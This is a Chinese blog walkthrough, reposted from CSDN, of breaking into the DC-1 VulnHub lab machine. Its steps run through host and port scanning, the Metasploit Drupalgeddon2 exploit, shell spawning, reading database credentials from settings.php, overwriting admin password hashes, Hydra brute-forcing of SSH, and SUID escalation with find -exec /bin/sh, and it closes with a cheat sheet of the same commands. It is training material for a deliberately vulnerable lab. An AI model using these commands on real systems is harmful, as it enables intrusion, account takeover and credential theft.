0


DC-1靶场搭建及渗透实战详细过程(DC靶场系列)

一. 环境搭建

1. 准备工具

渗透利器kali

可参考下面文章进行安装

Kali虚拟机安装,设置中文等详细教程,Linux最新免镜像版

DC-1靶场机

官网下载 https://download.vulnhub.com/dc/DC-1.zip

2. 安装过程

解压后得到个.ova文件

用vm虚拟机打开该文件

设置好相关操作

提示导入失败,不过没有关系点重试就好,导入完成后,打开DC-1虚拟机并等待,过程中别点进虚拟机里面

出现这个界面就表示开启成功 (渗透完得到密码就能登入啦),然后再更改kali的网络连接模式为桥接模式,让DC靶机跟kali处于同一网段,这用kali才能扫出DC的主机,当然也可以设置为net,但必须DC-1靶机也设为net,不懂桥接模式的小伙伴建议参考

“桥接”和“NAT”方式区别 - 知乎 (zhihu.com)

二. 渗透过程

这一过程需要用到kali,打开我们的渗透利器kali(root模式下)

1. 信息收集

①探测目标IP地址

探测主机的工具有很多,常见的有arp-scan、nmap还有netdiscover

  • arp-scan
arp-scan -l

该命令是探测当前网段的所有ip地址

然后我们看一下DC靶机的Mac地址

确定了DC主机的IP地址为

192.168.120.128
  • nmap

先看一下kali的ip地址

ifconfig

再用nmap

nmap -sP 192.168.120.0/24

ip后面改为了0/24, 在这里“192.168.120.0/24”表示的是这个网段的IP地址从从192.168.120.1开始,到192.168.120.254结束(192.168.120.0和192.168.120.255有特殊含义不能当做ip地址);子网掩码是255.255.255.0

一样扫出了ip

  • netdiscover
netdiscover

②探测目标IP开放端口

用nmap来探测

nmap -sV -p- 192.168.120.128

-sV 扫描目标主机端口上运行的软件信息

-p- 扫描全部端口0-65535

20和80端口是我们的突破口,80是http协议,我们用浏览器访问一下看看

③网页信息收集

利用火绒插件wappalyzer,查看站点信息,也可以自己判断,网页一看cms就是drupal

当然也可以用kali自带的工具whatweb

黑客工具之whatweb详细使用教程 - 知乎 (zhihu.com)

whatweb -v 192.168.120.128

也能扫出CMS,然后再用dirsearch工具扫一下目录 ,命令

dirsearch -u 192.168.120.128 -e *

还是扫出了挺多目录的,但是暂时用不到,先放一放

得到如下信息

CMS是Drupal
Apache 2.2.22

PHP 5.4.45

jQuery 1.4.4

2. 漏洞查找与利用

知道cms,我们一般从cms出发找漏洞,百度一下drupal漏洞

果然有框架漏洞

①漏洞查找

用工具Metasploit(目前世界上领先的渗透测试工具,也是信息安全与渗透测试领域最大的开源项目之一),找一下漏洞,先打开工具

msfconsole

然后输入命令

search Drupal

可以看到这个cms框架还是有挺多漏洞的,这里我们利用漏洞等级较高的,且时间最新的18年那个漏洞

②漏洞利用

利用18年那个漏洞

use exploit/unix/webapp/drupal_drupalgeddon2

接着看一下该漏洞模块参数

show options

Current Setting是目前设置的内容

Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置

就上面来说RHOSTS需要set,但是没有内容

所以接着我们来设置一下RHOSTS内容(就是攻击目标IP地址,靶场地址)

set RHOSTS 192.168.120.128

然后再show一下模块参数

设置好参数后开始攻击

exploit

exploit和run是一样的,用run也可以

出现Meterpreter session 1 opened(kali和目标ip的连接)就说明攻击成功啦,接下来我们可以直接上shell

3. Getshell

①获取普通shell

shell

获取一下普通的shell

然后执行ls命令

②获取交互shell

这样看起来有点那啥,不过我们可以利用python实现互交shell,这样就好看一点,使用的前提是攻击主机上必须装有python

python -c 'import pty; pty.spawn("/bin/bash")'

可以看到这个shell的权限只是普通权限,还不是root,不过还能看看文件啦,先看一下发现的flag1.txt文件

tac flag1.txt

查看一下flag1.txt文件

每个好的CMS都需要一个配置文件,你也一样,emmm,这个先放着,看看还有没有其他flag文件

find / -name flag*

好吧,就只有一个flag文件,根据之前的提示看一下配置文件,一般来说配置文件都有一些特别重要的信息在里面,搞不好还能提权,百度Drupal配置文件,路径挺复杂的不过知道名字叫settings.php,我们可以用命令直接搜索并打开,内联执行

cat `find / -name settings.php`

这里我们找到了flag2(好像不重要的样子),还意外收获了一个数据库,给了账号密码,先登一下看看

3. 数据库渗透

由上面得到的账号密码登入

mysql -udbuser -pR0ck3t

登进去了,这样我们就可以为所欲为修改数据库了,先看看有啥东西

show datebases;

接着使用改数据库,并查看表

use drupaldb;show tables;

注意到users这个表,看一下有啥,先改小一点字体,不然可能会挤爆不美观

select * from users;

得到两个用户

| admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |

| Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |

密码好复杂,应该不是明文,那想登进后台就很难了就很难了,我们可以通过修改admin的密码,或者是新加一个admin

参考:分享:忘记Drupal的管理员密码的解决办法 | Drupal China

法一:修改admin密码

我们得先找到加密文件,Drupal的加密脚本在

/var/www/scripts/password-hash.sh

目录下,我们先退出mysql

exit;

打开加密脚本

cat /var/www/scripts/password-hash.sh

这个脚本是用php写的,而且还能用php加参数运行,直接得到加密后的密码,这里我们设置一个密码123456

php /var/www/scripts/password-hash.sh 123456

得到加密后的密码, 接着我们登入mysql修改一下admin跟Fred的密码

mysql -udbuser -pR0ck3t

use drupaldb;update users set pass = "$S$D1UQvb3x7lKoCSX6S9K.r.wB202Lsa/r7fkOj7CelJsSEMFDJjGv" where name = 'admin' or name = 'Fred';

密码修改成功

法二:添加admin权限用户

drupal7版本在有个SQL注入的漏洞,可以添加一个admin权限的用户,适用版本7.31以下,我们可以在msf找一下这个工具

searchsploit drupal

然后看一下那个脚本path

searchsploit 34992.py -p

可以通过URL下载脚本使用,这里就不多展示了,接着我们用修改好的密码登入

登进去就找到了flag3,提示了我们一些信息passwd和shadow,明显就是linux的文件

/etc/passwd

该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读

Linux /etc/passwd内容解释(超详细)

/etc/shadow

该文件存储了系统用户的密码等信息,只有root权限用户才能读取

Linux /etc/shadow(影子文件)内容解析(超详细)

接着我们查看一下用户信息

tac /etc/passwd

可以看到有flag4这个用户,我们有两个方法拿到这个用户的密码,一个是爆破,另一个就是提权打开shadow文件查看密码

4. 用户密码爆破

事先参考SSH

SSH简介及两种远程登录的方法_Jack LDZ的博客-CSDN博客_ssh

利用工具Hydra爆破flag4的密码

(总结)Linux下的暴力密码在线破解工具Hydra详解

hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.120.128

爆破出密码orange,然后我们用kali连接

ssh [email protected]

@192.168.120.128

@目标主机地址

输入orange登入

打开了flag4.txt,emmm其实好像也没啥

5. Linux提权

需要用到SUID提权,参考

简谈SUID提权 - FreeBuf网络安全行业门户

利用find命令,找查具有SUID权限的可执行二进制文件

find / -perm -u=s -type f 2>/dev/null

find比较常用,可以执行root权限的命令找查文件,

find / -name index.php -exec "/bin/sh" \;

找查什么文件不重要(但是是存在的文件),只需要格式对,然后后面加上

-exec "/bin/sh" ;

#!/bin/sh简介 - feng..liu - 博客园 (cnblogs.com)

可以看到已经提权成功了,接下来我们只要找到剩下的flag文件就算通关啦

cd /root

ls

cat *

拿到第五个flag啦!

三. 收获总结

1. 主机扫描

  • nmap
nmap -sP 网段

Nmap命令详解

  • arp-scan
arp-scan -l

arp-scan命令及ARP含义解释

  • netdiscover
netdiscover

Netdiscover网络扫描工具

2. 域名信息收集

  • whatweb
whatweb -v 域名

whatweb详细使用教程

  • 火绒扩展wappalyzer
  • dirsearch
dirsearch -u 域名

目录扫描工具 dirsearch 中文手册

3. CMS漏洞找查及利用

  • Metasploit

先打开MSF控制台

msfconsole

搜索CMS漏洞

search cms名

使用模块

use 漏洞模块名

显示模块参数(一般只需要设置攻击目标IP地址)

show options

设置模块参数

set 模块参数名 参数值

开始攻击

run(或exploit)

metasploit渗透测试入门

4. Getshell

使用MSF攻击等待主机与目标连接完成后

metasploit获取shell之后的进一步利用

通常情况下直接进入shell

shell

获取交互shell(需对方主机安装有python)

python -c 'import pty;pty.spawn("/bin/bash")'

5. Linux特性及相关命令

查看权限(root为最高权限,其他为普通用户)

whoami

文件特性passwd与shadow

/etc/passwd

存储有用户的基本信息,如用户名、用户ID等,所有用户均可访问

Linux /etc/passwd内容解释(超详细)

/etc/shadow

存储有用户的密码等信息,需要root用户才能访问

Linux /etc/shadow(影子文件)内容解析(超详细)

6. 密码爆破与SSH

爆破工具Hydra

黑客工具之hydra详细使用教程

以爆破SSH为例

hydra -l 指定用户名 -p 指定密码 ssh://目标主机
hydra -L 用户字典 -P 密码字典 ssh://目标主机

爆破完后我们可以用kali登入

ssh 用户名@目标攻击主机

SSH简介及两种远程登录的方法

7. Linux系统的SUID提权

简谈SUID提权

先找到含有SUID权限的二进制文件

find / -user root -perm -4000 -print 2>/dev/null

这句命令的意思是找到SUID权限的二进制文件,将错误的垃圾信息过滤

find / -perm -4000 2>/dev/null 拆分讲解

再选择相关命令进行提权,以find为例(用得最多)

先ls查看当前目录文件,假设有文件x.ab,利用共有suid权限的find搭配exec进行提权

find / -name x.ab -exec "/bin/sh" \;

本文转载自: https://blog.csdn.net/l2872253606/article/details/125463013
版权归原作者 金 帛 所有, 如有侵权,请联系我们删除。

“DC-1靶场搭建及渗透实战详细过程(DC靶场系列)”的评论:

还没有评论